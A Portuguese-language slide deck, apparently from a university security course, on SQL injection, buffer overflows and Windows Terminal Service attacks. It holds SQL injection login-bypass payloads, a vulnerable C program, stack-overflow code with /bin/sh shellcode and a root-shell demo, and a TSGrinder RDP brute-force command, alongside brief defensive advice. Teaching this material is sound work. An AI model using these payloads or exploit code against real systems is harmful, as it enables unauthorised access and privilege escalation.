Ataques à Aplicações
Especialização em Segurança da Informação
Prof.: Márcio Aurélio R. Moreira
Alunos: Claudyson Esquivel
Estevan Alexandre M. R. Chaves
Flávio Euripedes de Oliveira
Hítalo Gonçalves Borges
Pedro Henrique de Oliveira
Introdução




Será apresentado alguns tipos de ataques
mais usados em aplicações hoje
SQL Injection
Buffer Overflow
Ataques à Terminal Service do Windows
SQL Injection




Tipo de ataque no qual é inserido um código
SQL.
Pode ser usado para ataques em sites ou em
aplicações locais.
Grande número de serviços WEB hoje viabilizam
o ataque.
Top 10 2007 lista este tipo de ataque em segundo
lugar.
http://www.owasp.org/index.php/Top_10_2007
Lógica do Ataque SQL Injection


Qualquer tipo de aplicação (WEB ou não) que
possua um mínimo de segurança pede usuário e
senha na tela de abertura (autenticação).
Normalmente essas aplicações utilizam um
banco de dados (Oracle, DB2, Sql Server,etc)
com uma tabela com usuario e senha.
Lógica do Ataque SQL Injection

Instrução interna:
select usuario, senha from Users where usuario=' & cUser &
' and senha=' & cSenha & '

Não existe nenhum problema com a
instrução, funciona perfeito.
Lógica do Ataque SQL Injection
Se digitarmos Flavio no usuário e
UNIMINAS na senha a instrução SQL será a
seguinte:

select usuario, senha from Users where usuario=‘Flavio'
and senha=‘UNIMINAS'
As aspas delimitam os valores recebidos
pelas variáveis.

Lógica do Ataque SQL Injection
Se
de propósito digitarmos o seguinte no
usuário e senha: ’ or ’1=1
A instrução SQL ficará da seguinte
maneira:
select usuario, senha from Users where usuario=‘’or’1=1’
and senha=‘’or’1=1’
Lógica do Ataque SQL Injection
Interpretando
a instrução temos o
seguinte:
Me retorne o usuário que seja igual a vazio (não
existe nenhum) OU verdadeiro (opa.. verdadeiro
é verdadeiro, então todos usuários são validos).
O mesmo raciocínio vale para a senha .
Provavelmente entraremos no sistema como o
primeiro usuário da tabela.
Lógica do Ataque SQL Injection

O pior é que quando o programador criou
os usuários da tabela, provavelmente o
primeiro usuário será ele próprio e ainda
com privilégio de administrador.
Lógica do Ataque SQL Injection



Outro caso é quando queremos entrar com o
username de uma determinada pessoa.
Colocamos o nome do usuário e logo em
seguida a instrução mágica anterior.
O SQL entenderá que deverá retornar o usuário
informado e que tenha uma senha vazia ou
verdadeira, ou seja ele irá ignorar a senha e
apontará para o registro que o username é igual
ao informado.
Lógica do Ataque SQL Injection



Outro tipo de injeção SQL é quando não
sabemos o nome do usuário mas sabemos que o
site tem muitos cadastros.
Colocamos ’ or ’1=1 no usuário e chutamos
uma senha como 123456, 123123,123321.
Num site com mais de 200 cadastros é 90% de
certeza que alguém cadastrou uma senha
destas.
Lógica do Ataque SQL Injection
Outro forma de ataque seria usar os caracteres
-- no final do campo:
Usuário: admin’-Senha:xyz
 Você provavelmente conseguirá acesso como
admin, levando-se em conta que a maioria dos
cadastros possuem o usuário admin.
 O caractere -- especifica pro sql que daquele
ponto em diante tudo é comentário.

Lógica do Ataque SQL Injection
A instrução ficará dessa maneira:
Select * from usuarios where username=’admin’ -- ‘ and
senha=’xyz’ “
 A partir dos -- tudo virou comentário.

Defesas deste tipo de ataque

A forma mais fácil de conter esse ataque
seria tratar o caractere da aspa simples
dentro dos campos de usuário e senha,
não deixando ele estar contido nesses
campos.
Buffer Overflow



O que é o Buffer Overflow?
O seu surgimento.
Qual o intuito de ataques do tipo Buffer
Overflow?
Lógica do Ataque Buffer Overflow
Como explorar o Buffer Overflow?
#include <stdio.h>
#include <string.h>
main(int argc, char *argv[]){
char buffer[512];
if(argc < 2){
printf("Programa bugado!!n");
printf("Uso: %s n",argv[0]);
exit(0);
}
strcpy(buffer,argv[1]);
printf("Voce digitou %s!!n",buffer);
return 0;
}

Lógica do Ataque Buffer Overflow





Como tirar proveito do Buffer Overflow
O endereço de retorno.
O overflow
A inserção de shellcode.
Elevação de privilégios na aplicação.
Modelo usual de memória
DATA
(Stack e Heap)
.BSS
(Heap)
.TEXT
Stack Overflow


Como se dá a utilização da pilha no sistema
operacional?
Como funciona o Stack Overflow?
Stack Overflow
Exemplo de stack overflow
#include <stdio.h>
#include <string.h>
char shellcode[ ] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
int main(int argc, char **argv){
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
for (i = 0; i < (int) strlen(shellcode); i++)
large_string[i] = shellcode[i];
strcpy(buffer, large_string);
return 0;
}

Stack Overflow
/* Compilando */
seg@uniminas:~$ gcc bof.c
seg@uniminas:~$ su
Password:
seg@uniminas:~# chown root.root a.out
seg@uniminas:~# chmod u+s a.out
seg@uniminas:~$ whoami
seg
seg@uniminas:~$ ./a.out
sh-2.05$ whoami
root
Defesas de ataques do tipo
Overflow

A melhor forma de evitar ataques do tipo
buffer Overflow é um bom projeto estrutural
da programação da aplicação, atentando-se
a condições de testes e homologações em
diferentes ambientes.
Ataques em Terminal
Service
Características quanto ao
uso e importância




a aplicações estão adotando o meio de Terminal
para maior praticidade nos recursos de rede
poder de centralização e traçamento de perfis que
os usuários podem ter
redudância e balanceamento, este serviço pode
atender bem, na qual usando o próprio serviço de
LB (Load Balanced) da Microsoft pode-se obter
recursos nas aplicações
Thin Clients que pode facilitar nos investimentos em
Hardware de estações
Característica de Ataque ao
TS







Exesso de conexões
Brute Force (MITM RDP)
Link com trafego além do normal
Acesso de usuarios que não existem
Senhas de conexões expiradas por erros
Request Deny Of Service
Cain & Abel (Também é possível realizar um
Main The Midle no RDP)
Dados importante referente
ao Request Deny Of Service

O xforce database da ISS aponta a
vulnerabilidade Request Deny Of Service no
Terminal Service de 16 de Julho de 2006, ela
afeta inclusive windows server 2003 com
SP1.
Plantaformas Afetadas









Windows 2000 Server SP 4
Windows Server 2003 Any version
Windows Server 2003 Itanium
Windows Server 2003 SP1
Windows Server 2003 SP1
Windows Server 2003 x64 Edition
Windows XP Pro x64 Edition
Windows XP SP1
windows-rdp-dos (21407)
Usando o TSGrinder
Usage:
tsgrinder.exe [options] server
Options:
-w dictionary file (default 'dict')
-l 'leet' translation file
-d domain name
-u username (default 'administrator'
-b banner flag
-n number of simultaneous threads
-D debug level (default 9, lower number is more output)
Exemplo:
tsgrinder.exe -w words -l leet -d workgroup -u administrator -b -n 2 10.1.1.1
Métodos para aperfeiçoar a
Segurança







Existe uma ferramenta chamada 2x SecureRDP freeware que se
propõe basicamente a controle de acesso, muito semelhante ao
controle de MAC Address de um Access Point Wireless.
A técnica bem interessante é usar SSL para rodar o Terminal Service,
garantindo processo de comunicação mais limpa e segurança.
http://www.microsoft.com/technet/prodtechnol/windowsserver2003/ptbr/library/ServerHelp/a92d8eb9-f53d-4e86-ac9b29fd6146977b.mspx?mfr=true
Msgs de Logons
Autorização por horários
Determinação de acessos por políticas
Solução futura com o Terminal Service Gateway no novo Windows
Server ( similar ao da citrix )
Topologia mais robusta em
SSL
Modelo de TS com o novo
Windows Server
Download

Stack Overflow - monografia-seguranca